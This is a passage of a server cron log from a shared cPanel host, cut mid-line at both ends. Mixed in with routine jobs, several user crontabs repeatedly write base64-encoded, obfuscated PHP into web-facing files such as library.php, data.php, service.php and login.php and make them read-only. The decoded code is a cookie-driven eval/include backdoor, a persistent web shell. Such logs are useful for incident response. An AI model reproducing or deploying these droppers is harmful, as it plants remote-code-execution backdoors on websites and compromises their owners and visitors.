VUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:41:01 medusa CROND[11392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:41:01 medusa CROND[11391]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:41:01 medusa CROND[11395]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:41:01 medusa CROND[11396]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:41:01 medusa CROND[11394]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:41:01 medusa CROND[11399]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:41:01 medusa CROND[11400]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:41:01 medusa CROND[11404]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:41:01 medusa CROND[11406]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:41:01 medusa CROND[11402]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:42:02 medusa CROND[4145]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:42:02 medusa CROND[4146]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:42:02 medusa CROND[4147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:42:02 medusa CROND[4149]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:42:02 medusa CROND[4150]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:42:02 medusa CROND[4151]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:42:02 medusa CROND[4153]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:42:02 medusa CROND[4155]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:42:02 medusa CROND[4156]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:42:02 medusa CROND[4152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:42:02 medusa CROND[4157]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:42:02 medusa CROND[4159]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:42:02 medusa CROND[4164]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:43:01 medusa CROND[28499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:43:01 medusa CROND[28646]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:43:01 medusa CROND[28651]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:43:01 medusa CROND[28652]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:43:01 medusa CROND[28654]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgI